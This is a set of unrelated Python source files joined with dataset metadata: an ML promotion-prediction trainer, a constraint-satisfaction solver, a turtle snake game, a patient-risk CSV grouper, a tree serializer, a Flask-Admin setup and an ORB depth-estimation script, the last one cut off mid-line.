'bagging_freq': 1,\r\n 'boosting_type': 'gbdt',\r\n 'verbosity': -1\r\n }\r\n\r\n train_model = lgb.train(\r\n params,\r\n lgtrain,\r\n num_boost_round=n_iter,\r\n valid_sets=[lgtrain, lgvalid],\r\n valid_names=[\"train\", \"valid\"],\r\n early_stopping_rounds=1000,\r\n verbose_eval=500\r\n )\r\n\r\n pred = train_model.predict(X_validation)\r\n\r\n elif model == 'xgboost':\r\n\r\n # For xgboost, we need to convert our categorical features to int\r\n # There are 3 approaches - one-hot encode, label encode and binary encode\r\n\r\n # Here, for simplicity, we are using label encoders\r\n # Loop through categorical cols\r\n for col in cat_columns:\r\n if col in list(X.columns):\r\n # get unique values\r\n unique_vals = X[col].unique()\r\n unique_vals_dict = dict([(val, num) for num, val in enumerate(unique_vals)])\r\n\r\n # map them for the train and test data sets\r\n X_train = X_train.copy()\r\n X_train[col] = X_train[col].map(unique_vals_dict)\r\n X_validation = X_validation.copy()\r\n X_validation[col] = X_validation[col].map(unique_vals_dict)\r\n\r\n # store the mapping for later use\r\n map_dict[col] = unique_vals_dict\r\n\r\n train_model = xgb.XGBRegressor(objective='reg:linear',\r\n colsample_bytree=0.3,\r\n learning_rate=learning_rate,\r\n max_depth=max_depth,\r\n alpha=10,\r\n n_estimators=n_estimators,\r\n verbosity=2)\r\n\r\n train_model.fit(X_train, y_train)\r\n\r\n pred = train_model.predict(X_validation)\r\n\r\n elif model == 'regression':\r\n\r\n # Use linear regression only if subcategory and brand name and segment is included in the list\r\n # Compute linear regression coefficients for the following combinations\r\n # 1) Subcategory and brand\r\n # 2) Segment\r\n # 3) Subcategory\r\n\r\n # Primary regressor variable includes discount_depth_rank\r\n\r\n # Compute coefficients for the remaining fields in the input data set\r\n # Output the R^2, p_value, and stdev for each combination\r\n # Follow a hierarchy when applying the model to each sku\r\n # If the subcategory and brand the sku sits in has an R^2, p_value and stdev smaller/ larger than a given threshold,\r\n # use, the segment model and likewise, when the segment model has an R^2, p_value and stdev smaller/ larger than a given\r\n # threshold, use the subcategory model\r\n\r\n # We will only thus be able to predict values for segments/ categories and subcategories where there has been a\r\n # promotion in the past\r\n if ('category' not in list(input_data[input_features].columns)) or \\\r\n ('brand_name' not in list(input_data[input_features].columns)) or \\\r\n ('segment' not in list(input_data[input_features].columns)) or \\\r\n ('discount_depth_rank' not in list(input_data[input_features].columns)):\r\n logger.error(\r\n \"Currently performing a linear regression per subcategory and/ or brand and/ or segment with discount depth rank \"\r\n \"as the primary regressor. However subcategory and brand name and segment and discount depth rank is not defined as \"\r\n \"an input variable!\")\r\n raise ValueError('Subcategory and brand name and segment and discount depth rank is not defined as an input variable')\r\n\r\n # For simplicity, use all data to train the model and compute the R2, stdev, intercept and coefficient\r\n logger.info(\"For regression, both train and test datasets will be used to train the model...\")\r\n logger.info(\"Combined sample dataset includes {} samples...\".format(input_data.shape[0]))\r\n\r\n # Loop through each combination and compute the regression\r\n combination = {('category', 'brand_name'): 1, ('segment',): 2, ('subcategory',): 3}\r\n all_combination = ('category', 'brand_name', 'segment' ,'subcategory')\r\n\r\n # Convert all categorical variables into numeric for regression\r\n input_data_train = input_data.copy()\r\n for col in cat_columns:\r\n if col in list(input_data.columns) and col not in all_combination:\r\n # get unique values\r\n unique_vals = input_data[col].unique()\r\n unique_vals_dict = dict([(val, num) for num, val in enumerate(unique_vals)])\r\n\r\n # map the input dataset\r\n input_data_train[col] = input_data_train[col].map(unique_vals_dict)\r\n\r\n # store the mapping for later use\r\n map_dict[col] = unique_vals_dict\r\n\r\n # Create a dataframe to store the results\r\n train_model_all = pd.DataFrame(columns=['rank', 'agg_fields', 'key', 'model', 'no_data_points', 'outlier_data_points',\r\n 'r2', 'rmse', 'mean_error', 'mae', 'mape'])\r\n\r\n # Create a dataframe to store the validation set to compute overall metrics\r\n valid_model = pd.DataFrame()\r\n filtered_model = pd.DataFrame()\r\n\r\n\r\n for agg_list in combination.keys():\r\n\r\n # Training model for combination\r\n logger.info(\"Training linear regression model for {a}...\".format(a=agg_list))\r\n\r\n # get unique values of both subcat and brand\r\n unique_df = input_data_train.drop_duplicates(list(agg_list))[list(agg_list)].reset_index(drop=True)\r\n logger.info(\"There are {a} unique {b} in the data...\".format(a=unique_df.shape[0], b=agg_list))\r\n\r\n # group by agg_list\r\n input_data_model = input_data_train.groupby(list(agg_list))\r\n\r\n # Select the list of input attributes not in agg_list\r\n training_list = list(set(list(input_data_train[input_features].columns)) - set(all_combination))\r\n logger.debug(\"Training features include {}\".format(training_list))\r\n\r\n for key, group in input_data_model:\r\n\r\n # Convert key to tuple if not\r\n if not isinstance(key, tuple):\r\n key_t = (key,)\r\n else:\r\n key_t = key\r\n\r\n # Train the model for each group\r\n logger.info(\"Training linear regression model for {a}...\".format(a=key_t))\r\n logger.info(\"There are {a} data samples...\".format(a=group.shape[0]))\r\n\r\n n_data_points = group.shape[0]\r\n\r\n # Lets remove all outlier data points with high z scores\r\n q_group = group[output_features[0]].quantile(0.95)\r\n\r\n outliers = group[group[output_features[0]] >= q_group]\r\n logger.info(\"Removing outlier data points...\")\r\n logger.info(\"Based on 95% quantiles, {} sample data points removed...\".format(outliers.shape[0]))\r\n\r\n outlier_data_points = outliers.shape[0]\r\n\r\n group = group[group[output_features[0]] < q_group]\r\n\r\n # If there is less than 3 sample data points, then skip\r\n if group.shape[0] < 3:\r\n logger.info(\"Too few data sample needed for training...\")\r\n logger.info(\"Skipping to next group....\")\r\n\r\n train_model_dict = {'rank': combination[agg_list],\r\n 'agg_fields': agg_list,\r\n 'key': key_t,\r\n 'model': None,\r\n 'no_data_points': 0,\r\n 'outlier_data_points': outlier_data_points,\r\n 'r2': None,\r\n 'rmse': None,\r\n 'mean_error': None,\r\n 'mae': None,\r\n 'mape': None}\r\n\r\n # add train model to dataframe\r\n train_model_all = train_model_all.append(train_model_dict, ignore_index=True)\r\n continue\r\n\r\n # Append group to validation dataset\r\n v_group = group[list(all_combination)].copy()\r\n valid_model = valid_model.append(v_group.drop_duplicates())\r\n filtered_model = filtered_model.append(group)\r\n n_data_points_used = group.shape[0]\r\n\r\n\r\n t_list = training_list+output_features\r\n group = group[t_list]\r\n\r\n # plot the relationship\r\n # plotScatter(group, \"discount_depth_rank\", output_features[0], \"Promo_mechanic_en\")\r\n\r\n X_reg = group[training_list]\r\n\r\n # force to add constant if a constant values is already supplied\r\n # this will ensure consistency in output format\r\n X_reg = sm.add_constant(X_reg, has_constant='add')\r\n y_reg = group[output_features]\r\n\r\n # Train robust linear regression model\r\n reg_model = sm.OLS(y_reg, X_reg).fit()\r\n logger.info(\"Completed model training...\")\r\n\r\n\r\n # Log the model results\r\n logger.debug(\"Model results...\")\r\n logger.debug(\"\\n{}\".format(reg_model.summary()))\r\n\r\n mape = np.divide(reg_model.resid.values,\r\n y_reg[output_features[0]].values)\r\n mape[mape == np.inf] = 0\r\n mape[mape == -np.inf] = 0\r\n mape = np.median(np.abs(mape))\r\n\r\n train_model_dict = {'rank': combination[agg_list],\r\n 'agg_fields': agg_list,\r\n 'key': key_t,\r\n 'model': reg_model,\r\n 'no_data_points': n_data_points_used,\r\n 'outlier_data_points': outlier_data_points,\r\n 'r2': reg_model.rsquared,\r\n 'rmse': np.sqrt(np.mean(np.square(reg_model.resid.values))),\r\n 'mean_error': np.mean(reg_model.resid.values),\r\n 'mae': np.median(np.abs(reg_model.resid.values)),\r\n 'mape': mape}\r\n\r\n # add train model to dataframe\r\n train_model_all = train_model_all.append(train_model_dict, ignore_index=True)\r\n\r\n\r\n if model in ('catboost', 'lightgbm', 'xgboost'):\r\n\r\n # Evaluate the model\r\n rmse = np.sqrt(mean_squared_error(y_validation, pred))\r\n logger.info(\"RMSE: {}\".format(rmse))\r\n\r\n mean_error = np.mean(y_validation[output_features[0]].values - pred)\r\n logger.info(\"Mean Error: {}\".format(mean_error))\r\n\r\n mae = np.median(np.absolute(y_validation[output_features[0]].values - pred))\r\n logger.info(\"MAE: {}\".format(mae))\r\n\r\n mape = np.divide(y_validation[output_features[0]].values - pred, y_validation[output_features[0]].values)\r\n mape[mape == np.inf] = 0\r\n mape[mape == -np.inf] = 0\r\n mape = np.median(np.abs(mape))\r\n logger.info(\"MAPE: {}%\".format(mape * 100))\r\n\r\n val_std = np.std(y_validation[output_features[0]].values)\r\n logger.info(\"Benchmark STD: {}\".format(val_std))\r\n\r\n val_mean = np.mean(y_validation[output_features[0]].values)\r\n logger.info(\"Benchmark Mean Error: {}\".format(val_mean))\r\n\r\n val_mae = np.mean(np.absolute(y_validation[output_features[0]].values))\r\n logger.info(\"Benchmark MAE: {}\".format(val_mae))\r\n\r\n logger.info(\"Benchmark MAPE: -100%\")\r\n\r\n # plot the results\r\n plothist(y_validation, pred)\r\n\r\n # plot the feature importance\r\n plotImp(model, train_model, X, num=20)\r\n\r\n join_fields = None\r\n filtered_model = None\r\n\r\n\r\n elif model in ('regression'):\r\n\r\n # get the unique values in the validation model\r\n valid_model = valid_model.drop_duplicates(list(all_combination))[list(all_combination)].reset_index(drop=True)\r\n valid_model['p_id'] = valid_model[list(all_combination)].apply(tuple, axis=1)\r\n\r\n # For each line in valid_model, find the corresponding rows in train model where key is in p_id\r\n train_model = pd.DataFrame()\r\n logger.info(\"Computing best model for each {a}\".format(a=all_combination))\r\n for index, row in valid_model.iterrows():\r\n\r\n # logging progress\r\n logger.info(\"{a} out of {b} permutations complete...\".format(a=index, b=valid_model.shape[0]))\r\n\r\n # find all the rows in train model that satisfy the criterion\r\n train_model_all['valid'] = train_model_all.apply(lambda x: set(x.key).issubset(row.p_id), axis=1)\r\n\r\n # filter on the rows that are true\r\n valid_rows = train_model_all[train_model_all['valid'] == True]\r\n\r\n # Using the rank condition, lets filter on only the model which has the most favorable property\r\n # R2 threshold > 0.2 and\r\n if len(valid_rows[(valid_rows['r2'] >= 0.3)]) >= 1:\r\n valid_rows = valid_rows[valid_rows['r2'] >= 0.2]\r\n\r\n valid_rows = valid_rows.sort_values(by='mape', ascending=True).head(1)\r\n\r\n # Include the valid model all combinations cols\r\n valid_rows.reset_index(drop=True, inplace=True)\r\n row_df = row.to_frame().T\r\n row_df.reset_index(drop=True, inplace=True)\r\n\r\n # Include the model coefficient values\r\n coeff_df = valid_rows['model'][0].params.to_frame().T\r\n coeff_df.reset_index(drop=True, inplace=True)\r\n coeff_df = coeff_df.add_prefix('coeff_')\r\n\r\n valid_rows = pd.concat([valid_rows, row_df], axis=1)\r\n valid_rows = pd.concat([valid_rows, coeff_df], axis=1)\r\n\r\n\r\n train_model = train_model.append(valid_rows)\r\n\r\n # Compute aggregate statistics\r\n rmse = train_model['rmse'].mean()\r\n logger.info(\"RMSE: {}\".format(rmse))\r\n\r\n mean_error = train_model['mean_error'].mean()\r\n logger.info(\"Mean Error: {}\".format(mean_error))\r\n\r\n mae = train_model['mae'].median()\r\n logger.info(\"MAE: {}\".format(mae))\r\n\r\n mape = train_model['mape'].median()\r\n logger.info(\"MAPE: {}%\".format(mape * 100))\r\n\r\n mae_std = train_model['mae'].std()\r\n logger.info(\"MAE_std: {}\".format(mae_std))\r\n\r\n mape_std = train_model['mape'].std()\r\n logger.info(\"MAPE_std: {}%\".format(mape_std * 100))\r\n\r\n R2_avg = train_model['r2'].mean()\r\n logger.info(\"R^2_avg: {}\".format(R2_avg))\r\n\r\n join_fields = list(all_combination)\r\n\r\n return train_model, map_dict, mae, mape, join_fields, filtered_model\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n start_time = time.time()\r\n\r\n # load csv input file\r\n logger.info(\"Loading historical promotion performance input data...\")\r\n input_data = pd.read_csv(\"C:\\\\Users\\\\hamzajuzer\\\\PycharmProjects\\\\prediction\\\\promotion_input_data.csv\", sep=\",\",\r\n encoding='latin1')\r\n\r\n start_time = time.time()\r\n\r\n # Train the model\r\n if run_config == 'train' or run_config == 'train-predict':\r\n logger.info(\"Training the prediction model for the promotion period...\")\r\n\r\n # train ML model\r\n train_model, map_dict, mae, mape, join_fields, filtered_model = train_promotion_prediction_model(input_data, input_features, cat_columns,\r\n model='regression',\r\n # either lightgbm, xgboost, catboost or regression\r\n learning_rate=0.03, # set between 0.01-0.05\r\n max_depth=200,\r\n # 100 for lightgbm, 50 for xgboost\r\n num_leaves=250, # for lightgbm\r\n n_iter=10000,\r\n # for lightgbm, no. of iterations, 20000\r\n n_estimators=150,\r\n # for xgboost, no of estimators\r\n train_size=0.8, # test train split\r\n test_months_exclusion=None,\r\n # exclude certain months\r\n cat_var_exclusion=False,\r\n # exclude specification of categorical variables (lightgbm)\r\n remove_outliers=True,\r\n impact_stores_outlier=impact_stores_outlier,\r\n promo_duration_outlier=promo_duration_outlier,\r\n discount_depths_outlier=discount_depths_outlier) # remove outliers\r\n\r\n\r\n # save the train model as csv\r\n train_model.to_csv(\"train_model.csv\", encoding='utf-8', index=False)\r\n filtered_model.to_csv(\"train_input.csv\", encoding='utf-8', index=False)\r\n\r\n\r\n # # predict\r\n # # load csv input file\r\n # logger.info(\"Loading prediction input data...\")\r\n # input_data_sku_list = pd.read_csv(\"C:\\\\Users\\\\hamzajuzer\\\\PycharmProjects\\\\prediction\\\\in_scope_skus_full.csv\",\r\n # sep=\",\",\r\n # encoding='latin1')\r\n #\r\n # discount_depth_list = pd.read_csv(\"C:\\\\Users\\\\hamzajuzer\\\\PycharmProjects\\\\prediction\\\\discount_depth.csv\",\r\n # sep=\",\",\r\n # encoding='latin1')\r\n #\r\n # results_df = run_regression_model_single(input_data_sku_list, discount_depth_list, train_model, join_fields,\r\n # map_dict)\r\n #\r\n # # save the train model as csv\r\n # results_df.to_csv(\"results.csv\", encoding='utf-8', index=False)\r\n\r\n total_time = round((time.time() - start_time) / 60, 1)\r\n logger.info('Completed ML processing in {a} mins...'.format(a=total_time))\r\n\r\n","sub_path":"upd_prediction_test.py","file_name":"upd_prediction_test.py","file_ext":"py","file_size_in_byte":39273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"420226648","text":"# csp.py\n# From Classic Computer Science Problems in Python Chapter 3\n# Copyright 2018 David Kopec\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nfrom typing import Generic, TypeVar, Dict, List, Optional\nfrom abc import ABC, abstractmethod\n\nV = TypeVar('V') # 변수(Variable) 타입\nD = TypeVar('D') # 도메인(Domain) 타입\n\n\n# 모든 제약 조건에 대한 베이스 클래스\nclass Constraint(Generic[V, D], ABC):\n # 제약 조건 변수\n def __init__(self, variables: List[V]) -> None:\n self.variables = variables\n\n # 서브 클래스 메서드에 의해서 오버라이드된다.\n @abstractmethod\n def satisfied(self, assignment: Dict[V, D]) -> bool:\n ...\n\n\n# 제약 만족 문제는 타입 V의 (변수)와 범위를 나타내는 타입 D의 (도메인),\n# 특정 변수의 도메인이 유효한지 확인하는 (제약 조건)으로 구성된다.\nclass CSP(Generic[V, D]):\n def __init__(self, variables: List[V], domains: Dict[V, List[D]]) -> None:\n self.variables: List[V] = variables # 제약 조건을 확인할 변수\n self.domains: Dict[V, List[D]] = domains # 각 변수의 도메인\n self.constraints: Dict[V, List[Constraint[V, D]]] = {}\n for variable in self.variables:\n self.constraints[variable] = []\n if variable not in self.domains:\n raise LookupError(\n \"모든 변수에 도메인이 할당되어야 합니다.\")\n\n def add_constraint(self, constraint: Constraint[V, D]) -> None:\n for variable in constraint.variables:\n if variable not in self.variables:\n raise LookupError(\"제약 조건 변수가 아닙니다.\")\n else:\n self.constraints[variable].append(constraint)\n\n # 주어진 변수의 모든 제약 조건을 검사하여 assignment 값이 일관적인지 확인한다.\n def consistent(self, variable: V, assignment: Dict[V, D]) -> bool:\n for constraint in self.constraints[variable]:\n if not constraint.satisfied(assignment):\n return False\n return True\n\n def backtracking_search(self, assignment: Dict[V, D] = {}) -> Optional[Dict[V, D]]:\n # assignment는 모든 변수가 할당될 때 완료된다(기저 조건)\n if len(assignment) == len(self.variables):\n return assignment\n\n # 할당되지 않은 모든 변수를 가져온다.\n unassigned: List[V] = [\n v for v in self.variables if v not in assignment]\n\n # 할당되지 않은 첫 번째 변수의 가능한 모든 도메인 값을 가져온다.\n first: V = unassigned[0]\n for value in self.domains[first]:\n local_assignment = assignment.copy()\n local_assignment[first] = value\n # local_assignment 값이 일관적이면, 재귀 호출한다.\n if self.consistent(first, local_assignment):\n result: Optional[Dict[V, D]] = self.backtracking_search(\n local_assignment)\n # 결과를 못찾았을 때, 백트래킹을 종료한다.\n if result is not None:\n return result\n return None\n","sub_path":"ch3/csp.py","file_name":"csp.py","file_ext":"py","file_size_in_byte":3700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"251526464","text":"from turtle import *\r\nfrom gamebase import square\r\nfrom random import randrange\r\n\r\nsnake=[[0,0],[10,0],[20,0]]\r\napple_x=randrange(-20,18)*10\r\napple_y=randrange(-19,19)*10\r\naim_x=10\r\naim_y=0\r\n\r\ndef change(x,y):\r\n global aim_x,aim_y\r\n aim_x=x\r\n aim_y=y\r\n\r\ndef inside_snake():\r\n for n in range(len(snake)-1):\r\n if snake[-1][0]==snake[n][0] and snake[-1][1]==snake[n][1]:\r\n return True\r\n return False\r\n\r\ndef inside_map():\r\n if -200<=snake[-1][0]<=180 and -190<=snake[-1][1]<=190:\r\n return True\r\n else:\r\n return False\r\n\r\ndef gameLoop():\r\n global apple_x,apple_y\r\n snake.append([snake[-1][0]+aim_x,snake[-1][1]+aim_y])\r\n if (not inside_map()) or inside_snake():\r\n square(snake[-1][0],snake[-1][1],10,\"gray\")\r\n return\r\n if snake[-1][0]!=apple_x or snake[-1][1]!=apple_y:\r\n snake.pop(0)\r\n else :\r\n apple_x=randrange(-20,18)*10\r\n apple_y=randrange(-19,19)*10\r\n clear()\r\n square(-210,-200,410,\"green\")\r\n square(-200,-190,390,\"white\")\r\n square(apple_x,apple_y,10,\"pink\")\r\n for n in range(len(snake)):\r\n square(snake[n][0],snake[n][1],10,\"orange\")\r\n ontimer(gameLoop,100)\r\n update()\r\n\r\nsetup(420,420,0,0)\r\nhideturtle()\r\ntracer(False)\r\nlisten()\r\nonkey(lambda: change(0,10),\"w\")\r\nonkey(lambda: change(-10,0),\"a\")\r\nonkey(lambda: change(0,-10),\"s\")\r\nonkey(lambda: change(10,0),\"d\")\r\ngameLoop()\r\ndone()","sub_path":"snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"632076636","text":"import json\n\n'''\nDefining/declaring the dictionaries to hold group data\n'''\nby_age_group = {'0-20':{'Low Risk':0, 'Moderate Risk':0, 'High Risk':0, 'Already Afflicted':0},\n '21-40':{'Low Risk':0, 'Moderate Risk':0, 'High Risk':0, 'Already Afflicted':0}, \n '41-60':{'Low Risk':0, 'Moderate Risk':0, 'High Risk':0, 'Already Afflicted':0}, \n '61-80':{'Low Risk':0, 'Moderate Risk':0, 'High Risk':0, 'Already Afflicted':0}, \n '81-100':{'Low Risk':0, 'Moderate Risk':0, 'High Risk':0, 'Already Afflicted':0}}\nby_city = {}\nby_gender = {}\n\ndef write_to_file(dicts,file_name,category):\n\t'''\n\tThis function writes to a file which is passed as an argument along with the dictionary and grouping name\n\t'''\n\twith open(file_name,'w') as f:\n\t\tf.write(category + ',Low Risk,Moderate Risk,High Risk,Afflicted\\n')\n\t\tfor key, values in dicts.items():\n\t\t\trow = [key]\n\t\t\tfor value in values.values():\n\t\t\t\trow.append(value)\n\t\t\tf.write(','.join(map(str,row)) + '\\n')\n\n# Read the json data\nwith open('patient_data.txt.') as f:\n patient_data = json.load(f)\n\nfor patient in patient_data:\n\t'''\n\tIterate through each patient to find the appropriate grouping\n\t'''\n\tcity = patient['meta']['user']['city']\n\tgender = patient['meta']['user']['gender']\n\tage = patient['meta']['user']['age']\n\trisk_level = patient['data']['risk']['parameters']['diabetes_risk']['level']\n\n\t# For each new City create a group\n\tif city not in by_city:\n\t\tby_city[city] = {'Low Risk':0, 'Moderate Risk':0, 'High Risk':0, 'Already Afflicted':0}\n\t# If the group is already created increment the risk_levvel value in the current group\n\tby_city[city][risk_level] += 1\n\n\t# For each new gender create a group\n\tif gender not in by_gender:\n\t\tby_gender[gender] = {'Low Risk':0, 'Moderate Risk':0, 'High Risk':0, 'Already Afflicted':0}\n\t# If the group is already created increment the risk_levvel value in the current group\n\tby_gender[gender][risk_level] += 1\n\n\t# As age group is defined globally, check for age gropu to which the age of current patient belongs\n\tif age < 21:\n\t\tby_age_group['0-20'][risk_level] += 1\n\telif age < 41:\n\t\tby_age_group['21-40'][risk_level] += 1\n\telif age < 61:\n\t\tby_age_group['41-60'][risk_level] += 1\n\telif age < 81:\n\t\tby_age_group['61-80'][risk_level] += 1\n\telse:\n\t\tby_age_group['81-100'][risk_level] += 1\n\n# Write into output file\nwrite_to_file(by_city,'by_city.csv','City')\nwrite_to_file(by_gender,'by_gender.csv','Gender')\nwrite_to_file(by_age_group,'by_age.csv','Age Group')\n","sub_path":"testing_codes/HealthVectors/jsonParser.py","file_name":"jsonParser.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"610525819","text":"#!/usr/bin/python\nimport sys\n\n\n#Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Codec:\n def serialize(self, root):\n \"\"\"Encodes a tree to a single string.\n\n :type root: TreeNode\n :rtype: str\n \"\"\"\n def dfs(node):\n if node is None:\n self.result.append(None)\n return\n self.result.append(node.val)\n dfs(node.left)\n dfs(node.right)\n self.result = []\n dfs(root)\n return self.result\n\n\n\n def deserialize(self, data):\n \"\"\"Decodes your encoded data to tree.\n\n :type data: str\n :rtype: TreeNode\n \"\"\"\n def get_n():\n for i in self.data:\n yield i\n def dfs(v):\n if v is None:\n return\n node = TreeNode(v)\n node.left = dfs(self.g.next())\n node.right = dfs(self.g.next())\n return node\n\n self.data = data\n self.g = get_n()\n return dfs(self.g.next())\n\n# Your Codec object will be instantiated and called as such:\n# codec = Codec()\n# codec.deserialize(codec.serialize(root))\n\ndef main():\n root = TreeNode(1)\n root.left = TreeNode(2)\n root.right = TreeNode(3)\n root.left.right = TreeNode(4)\n root.right.left = TreeNode(5)\n aa = Codec()\n r1 = aa.serialize(root)\n r2 = aa.deserialize(r1)\n import pdb\n pdb.set_trace()\n return 0\n\nif __name__ == \"__main__\":\n sys.exit(main())","sub_path":"LeetCode/serializeAndDeserializeBinaryTree.py","file_name":"serializeAndDeserializeBinaryTree.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"289819942","text":"from flask_admin import Admin\nfrom flask_admin.contrib.sqla import ModelView\n\nfrom app import app, db\nfrom models import Entry, Tag, User\n\nclass EntryModelView(ModelView):\n status_choices = [(choice, label) for choice, label in [\n (Entry.STATUS_PUBLIC, 'Public'),\n (Entry.STATUS_DRAFT, 'Draft'),\n (Entry.STATUS_DELETED, 'Deleted')]]\n\n column_choices = {\n 'status': status_choices,\n }\n\n column_list = ['title', 'status', 'author', 'tease', 'tag_list', 'created_timestamp']\n column_searchable_list = ['title', 'body']\n column_select_related_list = ['author'] # Efficiently SELECT the author\n\nclass UserModelView(ModelView):\n column_list = ['email', 'name', 'active', 'created_timestamp'] \n\nadmin = Admin(app, 'Blog Admin')\nadmin.add_view(EntryModelView(Entry, db.session))\nadmin.add_view(ModelView(Tag, db.session))\nadmin.add_view(UserModelView(User, db.session))\n","sub_path":"app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"466710374","text":"n, k = map(int, input().split())\n\nprob = 0\nfor i in range(1, n+1):\n j = 0\n tmp = 1/n\n while i*pow(2, j) < k:\n tmp /= 2\n j += 1\n prob += tmp\nprint(prob)","sub_path":"126/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"57205088","text":"import numpy as np\nimport quaternion as qt\nimport scipy.optimize as optimize\nfrom scipy.optimize import Bounds\nimport cv2\nfrom matplotlib import pyplot as plt\nnp.set_printoptions(suppress=True)\n\ndef readFile():\n\n file = open(\"./images/airsim_rec.txt\",\"r\")\n\n params = np.empty((0,7))\n\n images = []\n\n for line in file:\n fields = line.split()\n images.append(fields[8]) #append image file name\n params = np.vstack((params, np.array(fields[1:8])))\n\n return params.astype(np.float), images\n\n\ndef orbDetect (file1, file2):\n\n\n img2 = cv2.imread('./images/' + file1, 0)\n img1 = cv2.imread('./images/' + file2, 0)\n\n # Initiate SIFT detector\n orb = cv2.ORB_create()\n\n # find the keypoints and descriptors with SIFT\n kp1, des1 = orb.detectAndCompute(img1, None)\n kp2, des2 = orb.detectAndCompute(img2, None)\n\n # create BFMatcher object\n bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=False)\n\n\n # Match descriptors.\n # matches = bf.match(des1,des2)\n matches = bf.knnMatch(des1,des2, k=2)\n\n # Sort them in the order of their distance.\n # matches = sorted(matches, key = lambda x:x.distance)\n\n # Draw first 10 matches.\n # img3 = cv2.drawMatches(img1,kp1,img2,kp2,matches[:10], None, flags=2)\n\n # filtered = matches[:10]\n\n good = []\n pts1 = []\n pts2 = []\n\n for (m,n) in matches:\n if m.distance < 0.8*n.distance:\n good.append(m)\n pts2.append(kp2[m.trainIdx].pt)\n pts1.append(kp1[m.queryIdx].pt)\n\n pts1 = np.int32(pts1)\n pts2 = np.int32(pts2)\n\n return pts1, pts2, img1, img2\n\ndef process(params):\n prev = params[0]\n cur = params[1]\n trans = [0,0,0]\n trans[:2] = -cur[1:3] + prev[1:3]\n trans[2] = -cur[0] + prev[0]\n\n currot = [0,0,0,0]\n prevrot = [0,0,0,0]\n currot[0] = cur[3]\n currot[3] = cur[4]\n currot[1:3] = cur[5:7]\n prevrot[0] = prev[3]\n prevrot[3] = prev[4]\n prevrot[1:3] = prev[5:7]\n prevrot = qt.as_rotation_matrix(qt.as_quat_array(prevrot))\n currot = qt.as_rotation_matrix(qt.as_quat_array(currot))\n\n rot = np.matmul(currot, np.linalg.inv(prevrot))\n\n return np.array(trans), rot\n\n\ndef convertPoints(pts1, pts2):\n\n pts3 = np.subtract(pts1, [1280/2, 720/2])\n pts4 = np.subtract(pts2, [1280/2, 720/2])\n\n pts3 = -pts3\n pts4 = -pts4\n return pts3, pts4\n\ndef staged(params_prev, params_cur):\n\n ## Staged Calculatations\n # 3d line expressed in terms of possible z values, f is the fov\n alpha = 90 #fov in degrees\n # scalex = 360/np.tan(alpha*(np.pi)/360)\n # scaley = 640/np.tan(alpha*(np.pi)/360)\n scalex = 360/np.tan(alpha*(np.pi)/360)\n scaley = 640/np.tan(alpha*(np.pi)/360)\n\n trans, rot = process([np.array(params_prev),\n np.array(params_cur)])\n\n return scalex, scaley, trans, rot\n\ndef line(x, y):\n return np.array([x/scalex, y/scaley, 1])\n\ndef lineTransform(l):\n return np.matmul(rot, l)\n\ndef dist(cur_line, prev_line):\n return lambda ds: np.linalg.norm(ds[0]*cur_line - lineTransform(prev_line)*ds[1])\n\n\ndef getDepth(pts3, pts4):\n zs=[]\n\n for i in range(len(pts3)):\n cur_line = line(pts3[i][0], pts3[i][1])\n prev_line = lineTransform(line(pts4[i][0], pts4[i][1]))\n\n #CurLine- PrevLine\n AB = np.zeros((3,3))\n AB[:, 0] = cur_line\n AB[:, 1] = -prev_line\n AB[:, 2] = trans\n\n firsteq = np.dot(np.transpose(cur_line), AB)\n secondeq = np.dot(np.transpose(prev_line), AB)\n b = np.array([-firsteq[2], -secondeq[2]])\n firsteq = firsteq[:2]\n secondeq = secondeq[:2]\n\n\n x = np.linalg.solve(np.array([firsteq, secondeq]), -b)\n\n\n zs.append(x[0])\n\n return zs\n\ndef drawpts(img1, pts1):\n ''' img1 - image on which we draw the epilines for the points in img2\n lines - corresponding epilines '''\n r,c = img1.shape\n img1 = cv2.cvtColor(img1,cv2.COLOR_GRAY2BGR)\n for pt1 in pts1:\n color = tuple(np.random.randint(0,255,3).tolist())\n img1 = cv2.circle(img1,tuple(pt1),5,color,-1)\n return img1\n\n############################ MAIN #############################################\n\nparams, images = readFile()\nprint (params.shape)\n\nfor i in range(len(images)-1):\n pts1, pts2, img1, img2 = orbDetect(images[i], images[i+1])\n pts3, pts4 = convertPoints(pts1, pts2)\n scalex, scaley, trans, rot = staged(params[i], params[i+1])\n\n try:\n # your code that will (maybe) throw\n zs = getDepth(pts3, pts4)\n except np.linalg.LinAlgError as err:\n if 'Singular matrix' in str(err):\n print(err)\n else:\n raise\n\n fig,ax = plt.subplots(1)\n # img3 = drawpts(img1,pts1)\n # ax.imshow(img3)\n outImg = np.zeros(img1.shape)\n\n for z , (x, y) in zip (zs, pts1):\n outImg[y][x] = z\n print (z , ' ', x , ' ', y)\n\n # for z, (x, y) in zip(zs, pts1):\n # ax.annotate(z, (x, y))\n print(outImg)\n ax.imshow(outImg)\n\n plt.savefig('hello' + str(i) + 